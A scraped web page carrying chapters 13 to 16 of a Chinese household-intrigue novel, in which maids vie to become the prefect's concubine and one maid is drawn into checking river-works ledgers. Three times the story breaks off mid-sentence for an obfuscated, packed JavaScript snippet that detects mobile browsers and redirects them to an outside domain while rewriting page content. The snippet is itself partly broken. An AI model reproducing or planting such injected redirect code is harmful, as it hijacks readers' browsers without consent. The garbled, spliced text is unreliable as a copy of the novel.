碧霄今日从和熙堂回来就一直心神不宁，她送柚子过去时，恰好赶上刘母让木槿去传话，自然留心到了那句“让她多多准备帖子，凡是朗州城内咱们叫得上名姓的人家都要下帖子，多准备些姑娘们喜欢的吃食玩物”，话到这份上，她还有什么不明白的，老夫人等不及了，凝晖轩的新主母是一定要进门的！可，可她自己还没着落呢！ 等碧霄回到凝晖轩，赏梅宴的消息已经是人尽皆知，她心里更不是滋味了。近来，她总觉得旁人的笑里都装着别的意味，指不定别人在背地里如何笑话她呢！就连梦里都是旁人在奚落她“明公正道地连个姑娘都还没挣上去，却日日要强出头，日后新主母一进门，说不得第一件事就是打发了她！” 她神思恍惚地院里等着刘从俭回来，却等来“大爷在二门上被老夫人传话叫走了”的消息，碧霄心知这是老夫人要跟大人挑明内情了，她越想越心烦，横竖今日不用伺候大人用饭，她自己心里烦闷，索性饭也不吃了，趁着夜色，也不提灯笼，自己一径踱步出了凝晖轩，胡乱瞎逛着，可心思到底瞒不了自己，不由自主地就走到了和熙堂的小厨房附近。 碧霄寻了一个避风的墙角站着，吹了一会儿冷风，她倒是有些清醒过来，在这儿等着终是没劲，正要离了此处，远远地又瞧见两个人提着灯笼迎面走来，碧霄脸上挂不住，怕旁人看到她失意的模样又是一番闲话，大冷的天，她一个管事丫鬟跑来老太太的厨房外面吹冷风像个什么话！这般想着，她又往暗处缩了缩，想着等这两人去了，她再悄悄地走开，不妨却听见了二人的私语—— “你听说了吗？凝晖轩要抬姨娘了！” “呸！要死啊你！大爷院里的闲话你也敢传，小心被赏一顿板子撵出去！” “这儿又没外人，就你知我知！我跟你说，我方才去老夫人那儿收东西，隐隐听了一嘴，说是老夫人要在青梧和碧霄之间抬一个呢！” “呵，我当什么新鲜事，满府里谁不知道这两位啊！尤其碧霄，行事做派处处露着自己将来是要当姨娘的呢！” “你说，万一是抬了青梧，这碧霄的处境就有意思了！” 二人说着，一阵低笑，直到小厨房里走出一个管事婆子，喝道：“你二人在外面鬼鬼祟祟地做什么？还不快进来帮着收拾！” 二人才手脚忙慌地进去了，外面又重归于静，只余北风呼啸，仿佛刚才一切只是碧霄的幻觉。她慢慢从墙角踱步出来，游魂般地往回走，直到回到凝晖轩院门口，在那高高挂着的两盏风灯之下，碧霄抬起右手，掌心的掐痕犹在，透着血丝，她低叹一句，方才不是臆想，是真的啊！ 青梧！青梧！碧霄奋力地在心里念着这个名字，一抬脚走进了院子。 14. 第十四章 腊月十五这日一早，刺史府后门的守门婆子还在打着呵欠生火炉，就听得“砰砰砰”一阵拍门声，伴随着压低了嗓音的叫唤“张嫂子，开门啊，我是老马家的”。 二夫人管家之后给的炭例越来越少，以往大夫人在时，门房的火炉能烧上一夜，如今只能管得了上半夜，张嫂子本就憋着火，一大早去厨房捡了柴火才生的炉子，被烟熏了一头的灰，一听外面是素来逢迎二夫人的老马家，她心里更来气了，故意慢条斯理地擦了手净了脸，又把身子烤暖和了才慢悠悠地起身去抽开厚重的门栓。 “哎呀呀，张嫂子，不是我说你，你开门怎么越来越晚呐？这要是误了差事可怎么好？”马嬷嬷在门外吃了冷风，一进门就忍不住埋怨。 张嫂子也不客气，冷着脸呛道：“马嫂子，不是我说你，我是守着时辰关门开门的，不是我晚了，是你早了！” 马嬷嬷今日确实比平素早了些，不为别的，她昨夜前脚刚回家，后脚就听到隔壁六婶在那儿说二夫人告了病，过几日老夫人设宴请客都是三夫人在操持呢。她这心里扑通扑通的，一夜不曾踏实，只等今日一早进府探消息。她此刻也无心纠缠，只跺了跺脚，双手往袖子里一拢，埋头就往凝曦院的方向去了。 张嫂子对着她的背影，仍不忘奚落一句：“我说马嫂子，给二夫人献殷勤也别太早了，主子们说不定都还没起呢！” 凝曦院内，人人凝神屏息，生怕一个喘气太重都会招来责骂。偏厅内的几个管事姑姑也是胆战心惊，不知二夫人今日到底理不理事，她们都枯等了一个时辰，走又不敢走，留又待着冷，厅内虽烧着炭盆，可架不住站那儿一动不动，时间一长手脚都有些发僵。 马嬷嬷终究是没忍住，她轻手轻脚地行至正房东梢间外面，不见春雪，只有两个二等丫鬟，她用手指了指里面，压低声音问道：“春雪呢？在里面？二夫人怎样了？可请了大夫？” “谁在外面说话？”是二夫人郭氏的声音。 那两个丫鬟唬得脸一白，拽住马嬷嬷的袖子，似乎怕她跑了。马嬷嬷面上一红，心想自己素日好歹是个得脸的，至于这样吗！她朝两个丫鬟各瞪了一眼，才满脸堆着笑，朗声答道：“二夫人，是老奴。”即使这笑郭氏看不到。 “进来吧。” 瞧瞧！马嬷嬷又瞪了门口两个小丫鬟一眼，眼里透着神气。 郭云静倚在床上，只穿着家常小袄，发髻稀松，倒真像是一副病了的模样，春雪捧着一碗不知是药还是补品的东西，正在温声劝着。 “哟，二夫人，怎一夜不见就憔悴了这许多！可是着了风寒？眼下年关，千钧担子都在夫人肩上，夫人可要好生保重啊——” 郭云静凉凉地看了马嬷嬷一眼，冷哼了一声：“谁跟你说我着了风寒？你在咒我？” 马嬷嬷心内一惊，讪讪地闭了嘴。 “管事的都在外面？” “是，或是等着领对牌支银子，或是等着交割东西。”春雪见马嬷嬷此刻闭了嘴，只好自己出声答道。 “三房那边没动静？”郭云静盯着床帐上垂下来的流苏，脸色阴晴不定。前脚她才挨了训斥，后脚老太太就派人传话让三房操持赏梅宴，这不是明晃晃地在打她的脸吗？她索性告了病，可今日的动静，又不像是要夺了她管家权的样子，郭云静心里实在拿不定主意。 春雪将手里的碗递给一个小丫鬟，道：“奴婢派人打听过了，和熙堂传给凝昕馆的话，只说是大年节下，夫人忙不过来，老夫人又着实想设宴玩乐，体恤夫人辛苦，又念着三夫人素来风雅，才让三夫人办赏梅宴的，并无别话。” “三夫人风雅？呵！是了，只有我一无是处。”郭云静拽住一角被面，恨恨地揉搓着。 马嬷嬷忙趁机接话：“夫人莫恼，老夫人这宴席设得着实奇怪，往年可从来没有过了腊八还请客玩耍的道理，家家户户谁不要准备过年呐！这让三夫人操办赏梅宴，还不知是福是祸呢！” 郭云静这才又看她一眼，冷笑道：“喔？怎么说？” 马嬷嬷呵呵笑道：“夫人你想啊，三夫人若是帖子发了出去，届时来赴宴的没几家，岂不是丢人？或是人虽来了，但在心里埋怨咱们不体恤的，这埋怨岂不是落在了老夫人和三夫人头上？” 郭云静心头略宽，点了点头，道：“你说得倒也有几分道理。行了，我不过是略有些头疼，家里的大事还是要勉力操持，春雪——” “二夫人，木槿姐姐来了！”郭云静刚递出一只手给春雪，门外一声通禀，她支起的身子又塌了回去，心里这时又生出几分忐忑和懊悔，好好的装什么病，老太太不会真的趁机夺了她管家之权吧？ 木槿一进屋子，看到的就是这幅场景，二夫人郭氏倚在床头露出三分紧张七分憔悴，春雪垂着头装鹌鹑，马嬷嬷讨好地看向她。木槿心下了然，笑着上前冲着床上的人福身行了一礼，缓声说道：“老夫人听闻二夫人昨夜请了大夫，担心得不得了，特意遣我来看看，可要紧？” 郭云静忙作出一副诚惶诚恐的模样，道：“怎还惊动了母亲，倒是我的过错了。我不过是昨日吹了些冷风，晚上略觉头疼，二爷担心，我拗不过他，才唤了大夫来瞧。大夫也说了，老毛病，不打紧的。” 木槿笑着点点头，道：“如此甚好，这般老夫人便放心了。老夫人让我带句话，若是二夫人身子支撑不住，家里的事可让三夫人帮着分担一二，二夫人还年轻，咱们府里不是那等不知道心疼体恤媳妇的人家，保重身子最要紧，当然，若是二夫人无碍，府里的事还得二夫人多费心。” 木槿一席话说完，郭云静忙当场表态自己已无大碍，正要去偏厅理事。 木槿又转过头去，她身后的小丫鬟手上是一个黑漆描金花鸟纹匣子，木槿将那匣子接过，奉与郭氏，笑道：“老夫人前些日子寻了几件首饰，二夫人留着戴吧。二夫人身子既无碍，我这就去给老夫人回话了。” 郭云静忙挣挫着要下床去送木槿，木槿一叠声地说着“二夫人不必理会我”，人已经快步走了出去，春雪忙体贴地将郭氏放下，自己追出去，到底将木槿送出了院门，等她折返回屋内，郭氏已经在两个丫鬟的服侍下穿戴一新，扶了马嬷嬷的手就要往外走。 “走吧，去偏厅吧。”二夫人郭氏缓缓开口。 等几个管事都陆陆续续散尽了，马嬷嬷才讨好地问道：“夫人，前几日说后园几处阁楼和亭子要修缮一事，是不是得赶在这两日动手？十八那日客来了也好看些……” 郭云静微垂了眼帘喝茶，冷笑道：“十八那日的宴席是你们三夫人在操持，好不好看与我何干？” “哟，我的夫人诶，这可不能怄气！夫人你想啊，若是老夫人知道你手里操持着这么多事，百忙之中还惦记着紧着请客的日子收拾园子，老夫人心里岂不欢喜？” “呵，别当我不知道你啊，你不就是惦记着要过年了，想为你那侄子领一份肥差，好弄银子吗？说得咱们家后园多破败似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14598216|156001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的！不过就是这儿掉了点漆，那儿落了片瓦，多大个事啊！” 马嬷嬷被戳破心事，一张老脸胀得通红。 郭云静抬了眼皮去瞧她，又觉于心不忍，这府里跟她贴心的人可不多，这老货算一个，想了想，到底软了语气：“罢了罢了，谁叫你是我的人，赤胆忠心地奔了我，就念着你今早还知道去我的屋子外面问安，春雪，给马嬷嬷发对牌，去账房支二百两银子，今日就赶紧领人把该补的补、该修的修，十七日酉时我遣人去验收，若是这差事办得不好，你可仔细你的皮！” “老奴省得！省得！夫人如此体恤老奴，老奴若不用心办差，那可是天理不容了。”马嬷嬷稀里哗啦地说了一堆表忠心的话，直至郭氏面上渐渐露出不耐之色，她才住了嘴，欢欢喜喜地领了对牌往账房去了。 郭云静这才一手扶额，一手指着春雪，道：“去各院知会一声，这两日后园有瓦匠漆工，丫鬟们没事别往后园跑，别回头莽莽撞撞地见了人落了东西，又说二房管家不力了！” 春雪忙领命去了。 碧霄吃了早饭就踱步进了后园散闷。 凝晖轩里，一个秦秋日益受大爷倚重她除不掉，一个青梧与她平分秋色她也挤不掉，在院里待着，她生怕自己一个忍不住说点什么或做点什么落人口实。老夫人终于提了抬姨娘的话，这个节骨眼儿，她可不能让一丝闲话传进和熙堂。 碧霄满心想着昨夜那两个婆子的话，不知不觉就走到了后园的小山坡上，自己寻了一个背风的地方坐着，连黄三儿领着小厮和工匠进园她都没发现。 黄三儿一早守在二门外等着自家姑姑的信儿，不多时就听批了二百两银子，喜得立时呲牙咧嘴手舞足蹈起来，又听三日内必须完工，他立时就领了小厮拉围幙，喊了几个熟悉的工匠就捣腾进了后园。 平日里他自是捞不着机会进后宅的，今日难得可以光明正大地四处看看，他岂会放过这个机会，这走走那晃晃，正纳闷着，怎一个丫鬟都不出来逛园子，猛一抬头，就见那小山坡上坐着一个穿红着绿的美貌丫鬟，比他只远远见过一次的木槿还要美貌几分，黄三儿不觉看得呆住了。 等碧霄猛一转头，见小山坡底下的游廊那儿，有个小厮模样的男子正放肆无礼地盯着自己，她先是一恼再是一羞，扭头就走，却听身后之人急急唤道：“这位妹妹在哪个院里当差？我不是坏人，我是二房马嬷嬷的侄子黄三儿，今日领命进来修缮园子的！妹妹慢些走！” 碧霄本来已经几步溜下了山坡，拐过了后园的月洞门，猛然听见黄三儿的话，她的心突突地跳得厉害，心里暗恨，这可是个泼皮无赖，被他瞧见了出去胡说一通可怎生是好？忽然一抬头，就看到前方不远处青梧和鹊儿的背影，电光火石之间，碧霄歹念陡生。 她转头瞥了一眼那还欲追过来的身影，冲着前方就是一声高呼：“青梧！青梧！我找了你半晌，原来你进园子了！叫我好找！” 青梧被她喊得一怔，莫名其妙地回头去看。 碧霄已三两步跑上前去，挽了青梧的手，拽着她往前走，边走边亲热地说道：“咱们先离了这儿，边走边说。” 等黄三儿追到月洞门边上时，只见到了三个背影，一眨眼就消失在甬道拐角处，当中就有他刚才看到的美人。他可不敢再越过月洞门，那边是各房主子的院落。 黄三儿咂摸着方才听到的那句话，寻了半日？进了园子？莫非这丫鬟叫青梧？待他打听打听这青梧是何许人也。 15. 第十五章 青梧被碧霄半拖半拽地走了一小段才从惊诧中回过神来，她挣脱被拉住的手，狐疑地上下打量着碧霄，道：“你是在园里冲撞了什么，中邪了不成？同我拉拉扯扯的做什么？你寻我半晌？我几时让你寻我来着？什么叫‘原来我进园子了’？碧霄，你少同我弄鬼！” 青梧一句接一句，炮仗似的，把碧霄问得哑口无言，她脸上的慌乱还未完全褪去，被青梧甩开的一瞬间，她下意识地是再去捉住青梧的手，一面还不忘扭头往后瞧去，待看清身后无人时才松了一口气，一双手讪讪地停在半空，勉强挤出一个笑来。 青梧更起疑了，她也踮着脚尖往后张望了两眼，连个人影都没有。 “怎么，后面有鬼在追你？”青梧轻嗤一声。 “同你闹着玩呢！我想起来我还要去针线房一趟，我先走了。”碧霄眼神闪烁地撂下这一句，就逃也似的离了二人。 “真是丑人多作怪！”青梧气呼呼地咕嚷了一句，又拍了拍方才被碧霄拉扯了半天的衣袖，仿佛上面沾了什么脏东西，半晌才拉着鹊儿也走了。 凝晖轩的后罩房里，秦秋盘腿坐在炕上，腿上盖着厚被子，被子里塞了一个汤婆子，怀里搁着一个手炉，手上极难得地拈着缝衣针。鹊儿回来之后就一直挤在她旁边，朝她手里的物件端详了半天，才一脸恍然地叹道：“秦秋姐姐，你这是在缝帽子啊？” “兔头帽，你看出来了！像不像？”秦秋立时来了精神，笑着看向鹊儿。 鹊儿挠挠头，问道：“兔子的耳朵呢？” “这儿，还没缝呢！”秦秋一面说一面从身后拽出两截毛料。 “要不，我帮你缝吧？”鹊儿对这帽子确实夸不出口。 秦秋垮了脸，举着手里缝了一半的帽子左看看右瞧瞧，最终败下阵来，将它递给了鹊儿。鹊儿一接过就飞快地补了几针，那帽子似乎立时就起了变化。 鹊儿手里干着活儿，嘴上闲不住，不一会儿就神神叨叨地说道：“秦秋姐姐，我同你说，我先前同青梧姐姐去清渊阁送东西，碰到碧霄姐姐了，碧霄姐姐好像撞邪了！好奇怪的样子！” “撞邪？你呀，别总一天到晚地去厨房和二门上听那些婆子说胡话！青天白日的，哪来的邪可撞？” “是真的！”鹊儿一急，把手里的针线放下，飞快瞟了一眼窗外，才道，“碧霄姐姐自己从后园里跑出来，一个劲儿地追着我们，还极其亲热地喊青梧姐姐的名字，说‘找她找了半天，原来她进了园子’，你说是不是很奇怪？我们明明没进园子，是她自己从园子里跑出来的。而且，她们两个，唔，向来不对付的呀。” 秦秋心念一动，问道：“碧霄遇见你们的时候，她身后可是有什么人？” “就是呢，青梧姐姐说是不是有鬼在追她！我是什么都没看见。你说，会不会后园里真的有鬼在追人呀？” 这怕不是有鬼，是碧霄在捣鬼吧！秦秋忽然想起早前二房的人过来传话，说后园里有工匠在干活，莫非……秦秋心头猛地一跳，碧霄这是想干什么？ “哟！你们两个躲在这里做什么？咦，怎么也不生个火盆？”木槿不知何时来到门外的，先是笑盈盈地招呼了一声，等跨进屋子又眉头一皱，“这里面怎么跟个冰窟窿似的？” 秦秋和鹊儿二人忙趿鞋下炕，连声招呼木槿去炭盆边坐下，秦秋把面上卧着的那层灰轻轻拨开，里面微红的火芯露了出来，鹊儿又取来一个吹火筒，小心翼翼地吹了两下，那火芯慢慢地旺了，秦秋赶紧往里面添了两块新炭。 木槿诧异，眉头凝得更紧了，道：“你们这是？还有人克扣凝晖轩的炭例？” 秦秋不好意思地笑了，道：“让木槿姐姐见笑了。咱们院里如今只有大爷一个主子，大爷白日的炭例是算在外书房的，正房的炭例便只有夜间的二十斤，天寒地冻的，咱们可不敢动一星半点儿。大夫人的陪房一走，凝晖轩的下人就少了一半，拨给咱们的炭自然是按旧时的一半算的，这不，得省着点用。白日里我们干完了活就去其他各院走走蹭蹭，午后出去晒晒太阳，炭盆尽量等着酉时之后再生火。” “我若今日不来，还真是不知如今刺史府里也有‘冻死骨’。”木槿摇头叹道，心中暗忖，二夫人这也忒过了，从公中捞了钱不算，连下人的炭例都克扣起来，连大房尚且如此，各处当班的恐怕也不能幸免，这可不是小事，得回禀老夫人好好查查了。 鹊儿又忙倒了一钟滚烫的茶水，道：“木槿姐姐先暖暖手。” 木槿笑着接了，三人围着炭盆坐下，说了几句闲话之后，木槿忽对着鹊儿说道：“我想起来了，厨房今日蒸了栗粉糕和桂花糕呢，我早上才跟六婶打了招呼，让她给我留下两碟子，我要请客用，这不，我人来了东西倒忘了拿，要不鹊儿你去跑跑腿？” 鹊儿一听有糕吃，满面笑着应下，抬腿咕咚咕咚就跑了出去。 等屋内只剩二人时，秦秋才醒过味来，道：“木槿姐姐，你有话要单独与我说？” “不笨嘛！”木槿放下手里的茶盅，将手伸到炭盆上方烘了片刻，才缓缓说道，“昨日老夫人留大爷在和熙堂用膳，你再猜猜看，他们说了什么？” 秦秋头一歪，笑了：“大爷要升我做书房笔墨丫鬟？” “什么？”木槿再没想到秦秋能猜出这么一句话，她也笑了，抬手就朝秦秋头上戳了一指，道，“合着你的志向是这个啊？” 秦秋见此也不瞒着了，将那日她对她娘的肺腑之言又搬来木槿面前细数了一遍。 倒惹来木槿一阵感慨，叹道：“世事就是如此，谁能想到你整日里躲是非的人，也能卷进这是非窝里。” 这话大有深意，秦秋悚然一惊，忙问：“好姐姐，我卷进什么是非里了？”见木槿两眼定定地盯着自己，秦秋也急了，屁股一抬，两脚一挪，人就挤到木槿身边了，她抱住木槿的一只手，拧麻花似的扭个不住。 “好了好了，胳膊都要被你掰折了，我今儿就是特意为了你这事来的。”木槿晾了秦秋一会儿，见她果然急了，才从鼻子里轻笑一声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14598217|156001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秦秋忙松了手上的力道，改抓为捏，为木槿捶起胳膊来。 “狗腿样儿！”木槿笑着，又四下环顾一遭，指了指隔壁屋子。 秦秋会意，忙摇头，轻声说道：“两个这会儿都出去了。青梧被郭二姑娘请了过去，好像是郭二姑娘有件极难得的裙子，被火燎了一个口子，那裙子是件双面苏绣，只有青梧会补。碧霄么，不知道去哪儿了，今日神出鬼没的。” 木槿这才让秦秋附耳过来，低声将抬姨娘一事说了。 岂料，秦秋却是一副见怪不怪的模样，纳闷地瞅了木槿一眼，道：“这事儿不新鲜啊！咱们院里人人都知晓，她二人都是想当姨娘的。” “呵，那你可知，老夫人昨夜除了提她们两个，还提了你的名字？”木槿斜眼睨着身边的人，冷哼了一声。 “啊！”秦秋低呼一声，木槿忙捂住她的嘴。 等秦秋的气息没那么急促了，木槿才放下手，叹道：“我自是晓得你绝无此心，可难保老夫人起了心动了念，大爷又是个猜不透的脾气，你我相交一场，我才来给你提个醒儿，当心着点儿！你若想去书房伺候，就趁早跟大爷禀明，或是早日定下亲事也好。别等着老夫人开了口发了话，那时可就难驳回了。” 秦秋只觉脑瓜子嗡嗡的，心间一团乱麻，听了木槿的话，只知胡乱点头答应。二人一时都沉默下来，只有脚下烧红的木炭哔剥作响，偶尔蹦出两个火星子。 不多时就见鹊儿取了两碟子热糕回来，三人吃了糕喝了茶，又说了一会儿闲话才各自散去不提。 秦秋是个心里有了主意就不耽误功夫的人，这日，她在心里算着刘从俭下值回府的时辰，就踱步去了小书房外面候着，一心等着向刺史大人自陈心迹。可巧，她去时，同院的两个小丫鬟正准备为小书房生火点炭，秦秋便也蹲在那儿，跟她二人一块忙活。 三人正忙着，忽听外面一阵喧哗，一个婆子高声嚷道：“哪个促狭鬼干的？我才提回来一壶热水，又给我倒走一半！你们这些小蹄子，年轻力壮的，多往厨房跑两趟怎么了，来占我老婆子的便宜，懒死你们得了！” 这头才嚷完，那头就有人应了：“喜枝，喜枝，听到了吗，懒死你得了！” 那婆子一听有了事主，又高声把喜枝骂了一顿。 秦秋摇头听着，旁边的小丫鬟捂嘴笑了出来。 “你笑什么？”秦秋不禁好奇。 “秦秋姐姐，你不知道，喜枝今日家去了，这不定是谁干的呢。这人就是这么嚷一句，王婆子就信了，你说可笑不可笑？” 秦秋一愣，忽然，她心头跃上了鹊儿说的那番话，“碧霄姐姐自己从园子里跑出来，反而上赶着叫青梧姐姐，还问我们怎么进了园子，找了我们半晌，你说奇不奇怪？”，秦秋又想到木槿说的事，莫非，莫非碧霄真做了什么，要往青梧身上栽？ “我明白了！”秦秋后背发凉，不由自主地喃喃说出一句。 “明白什么？”刘从俭的声音在门槛处响起。 16. 第十六章 刺史大人骤然出现在小书房门口，三人俱是一惊。刘从俭淡淡地撇了秦秋一眼，道：“刚好，我有事吩咐你，你随我来。” 两个小丫鬟一听，忙飞快地将四个炭盆都点燃摆好，匆匆行礼退了出去。 秦秋赶紧先将碧霄的事撂下，亦步亦趋地跟在刘从俭身后，等对方在书案之后坐定，她才恭声问道：“不知大人寻婢子有何吩咐？” 刘从俭默不作声地打量了她片刻，才道：“会看河道监修的账册吗？” 这？秦秋心头微微错愕，但转瞬即化为欣喜，机会来了！修河道她没经历过，但是大夫人在世时整修过园子、挖过荷塘种过树，想来也是万变不离其宗的。当即，秦秋下定了决心，道：“回大人的话，能看。” 这么干脆利落的回答，倒是让刘从俭有些意外，他可是记得他让这丫鬟默写账册时，对方可是表露过犹豫的。刘从俭眉头一挑，忽然问道：“你方才蹲在炭盆前说‘你明白了’，你明白什么了？” 秦秋面色一滞，心想，还能明白什么，不过是猜出了你的一个丫鬟可能为了当姨娘在陷害另一个丫鬟。但话可不能这么说，她眼珠一转，瞎话脱口而出：“回大人的话，不过是明白了白日里一个玩笑。大人，婢子今日特意候在书房外面，其实有一事相求。” “喔？何事？” “府里有专在书房伺候的笔墨丫鬟的分例，不知大人可否给婢子一个机会？” “书房笔墨丫鬟？”刘从俭颇有些意外，不知怎的，他忽然想到了昨夜母子二人的谈话，莫非，这丫鬟听到了风声？ “是。”秦秋心知，成败在此一举，今日是个良机，不可错失，她斟酌着词句，温声说道，“若婢子能专在书房伺候笔墨，一则可以打消府里旁人的猜疑，二则，大人使唤婢子看账册时也便宜，三则，婢子虽不甚灵巧，但也总比小厮们心细，在外书房和内院之间传话取东西也方便。” 秦秋一口气说完，嗓子有些发干，双手忍不住在衣服上搓了搓。 刘从俭听完，先是轻嗤一声，半晌才发话：“你倒是聪明。成，明日起，你就去外书房当差。明日我会差人送两本账册给你。还是那句话，在书房伺候，嘴巴要严实。” “谢大人，那婢子先告退？”秦秋没想到刺史大人竟答应得如此干脆，她欣喜若狂，嘴角是压不住的激动。 “去吧。”刘从俭随意一挥手，眼神都懒怠再给一个。 秦秋一掩上小书房的门，再难按捺心头狂喜，若非此时内院已关门落闩，她定是要去找到她娘痛笑一场的。秦秋无声地咧着嘴角，快步地往后罩房走，路过正房时，刚好又听到青梧在骂小丫鬟—— “一个个少在那儿装相，哪里就冷死你们了！白日里躲懒偷闲够轻松的了，这会儿不过略站一站就站不住了？以往夫人在时怎么不见你们这般娇贵了？”青梧正数落着两个小丫鬟，一转头就见秦秋从小书房的方向过来。 秦秋见她俊眉往上一斜，赶紧抢在她之前开口：“青梧姐姐，大人回来了，在小书房。应是还没用晚饭，唔，茶水点心也没送进去，姐姐赶紧过去吧。”秦秋说完就要溜，却被青梧一把拦住。 青梧瞪了她一眼，道：“你也忒懒了，大人既回来了，你不会问一句是要茶要点心还是要摆饭？” 秦秋被问住了，心里直翻白眼，暗道不跟你们抢着做大人眼前的活儿吧，你又挑剔我懒，等碧霄跟你抢的时候，你又怄气，算了算了，我今日心情好，懒得同你计较。秦秋脸上带着笑意，语气轻快地说道：“青梧姐姐，跟前伺候的事我做不好，大人说了，明日起我专在外书房伺候笔墨，送茶送水的事，还是姐姐去问吧。”说完，不等青梧反应，小跑着走了。 倒让青梧愣在了当场，半晌才反应过来，低声咕嚷了一句“怪人一个”，匆匆往小书房去了。 秦秋拐回后罩房时，却见自家隔壁屋子透着亮光，她心底立时起了疑，这不应该啊，大人回来了，碧霄和青梧不该有人留在房里啊！鬼使神差地，她蹑手蹑脚来到窗外，透过纱屉子，碧霄的背影清晰地映进她眼里，这是在翻箱子？ 只见碧霄从箱子里抽了两条手绢，着急忙慌地往衣袖里塞，一面塞还一面欲回头张望，秦秋见状赶紧矮下身子，蹲着走进了自家屋子。 碧霄定是在捣鬼无疑了！入睡前，秦秋如是想道。 次日一早，刘从俭一进州府衙门，萧举年就迎了上去。 “大人，河道修缮的账册——” “你看出什么了？”议事厅内，萧举年刚起了个头就被刘从俭打断。 萧举年面露惭色，赧然说道：“卑职惭愧，卑职昨日又琢磨了一宿，还是不能看出端倪。大人，会不会咱们猜错了，这修河道确实耗费巨资？”说到最后，萧举年声音都低了下去，不敢去看刺史大人的眼睛。 “哼！不会错的！”刘从俭冷笑一声，道，“我对我那二弟了解得很，这两年他只跟一个吴家走得很近，吴家沾手的就是河道。猫腻必在此间！” “那卑职再去细查！”萧举年说着话就要拱手告退。 刘从俭玩味地看着他，道：“账本你都看了五日了，都看不出个所以然，‘再去细查’你打算怎么查？” 萧举年耳根发红，讷讷答道：“要不，卑职先去武陵郡暗访当地百姓，寻些线索再从账册反证？修河道的都是民工，坊间总会有些风声吧？” 刘从俭无奈地摇头一叹：“你呀，今日都腊月十六了，我这上峰即使再冷血，再不体察下情，也做不出让你在异地他乡过年的事来。唔，暗访也总归是要做的，过了正月再择日子吧，横竖这幕后的主使还不知道咱们起了疑，就算知道了，他们想跑也跑不了。你现在带上账册去刺史府，去外书房，我给你寻了个帮手。” 一听到“帮手”，萧举年的脑海中蓦然浮现那日秦秋嫣然一笑的侧脸，他的心跳得更厉害了，面上的惭色未退就已换成了喜色，好在刺史大人也看不出来。刘从俭见他面色依旧泛红，只当下属还在为办案不力内疚。 “去吧，谨慎些便是。” 而萧举年的帮手，此刻只有一个感受，外书房可真暖和啊！比她们那个冰窟窿舒服多了！秦秋生了两个炭盆，把书房的门一掩，背着手优哉游哉地在书房里来回踱步，对自己的当机立断和主动争取感到万分得意。 人啊，长嘴果然还是得多用！秦秋如是叹道。可惜，刺史大人的书房没有闲书，传奇话本子一个也无，她看了看天色，料定此时大人在州府衙门忙着呢，她便随手抽了一本南华经，紧挨着炭盆，掷了一个蒲团下地，盘腿坐在上面看起书来。 萧举年推开书房之门时，映入眼帘的便是这幅冬日烤火看书图。 “你倒是自在！”秦秋看书入迷，直至推门声和调侃声同时响起，她才醒过神来。 秦秋一个弹跳起身，第一反应便是朝萧举年身后张望。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14598218|156001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萧举年心下了然，温和地笑道：“放心，大人在衙门，只有我一人。” 秦秋这才松了一口气，飞快地将手中的书掷在身后的茶几之上，自己福身行礼，道：“见过萧录事。大人可是要寻什么东西？” 萧举年笑而不语，径直走向书案，经过秦秋身前时，脚下一顿，秦秋微微垂着头，入眼处是青色的大氅和乌皮的靴子，靴子上还沾着雪粒，书房里暖暖的，这人一来，身上就带着天地间的雪气和淡淡的墨香，秦秋下意识地想后退一步，却听一道温热的声音在头顶咫尺之处响起：“大人差我来，寻你。” 秦秋等人走到书案后面才敢喘气，她抬头看向那人，只见对方解下大氅，从怀中掏出两本册子摊在书案之上。秦秋长舒一口气，是了，大人昨夜提了账册，想必是为这事。 只是，秦秋心底泛起疑惑，狐疑地扫了萧举年两眼，这位萧录事，方才的行径是不是？似乎，有些，像是登徒子？但是，对自己？秦秋低头检视自己的衣着，所谓知己知彼百战不殆，她不知彼，但是知己的功夫还是有的，若是换了青梧和碧霄的脸蛋，倒说得过去。这般一想，秦秋又觉得自己小人之心了。 萧举年收拾好自己，抬眼看向仍在不远处站着的人，笑道：“秦秋？我没记错吧。大人让你看看这两本账册有何可疑之处。” “是。”一听正事来了，秦秋立即神色一敛，精神一振，疾步走了过去。闲事别多想、正事多上心，可是她的处世之道，她可是要长长久久地待在外书房的，得拿出看家的本事亮给大人。 秦秋翻开眼前的账本，二话不说地细细浏览起来，只看了十来页，她忽然眉头一皱，右手下意识地就想去扒拉手边的算盘，只是她忘了，这不是在蒋氏生前常待的小书房，书案上没有放算盘，而她看得入神，也没留意到她身侧一直杵着一个人。 萧举年倒没别的心思，他单纯是佩服这姑娘看账和算账的本事，想在一旁学习一二来着。 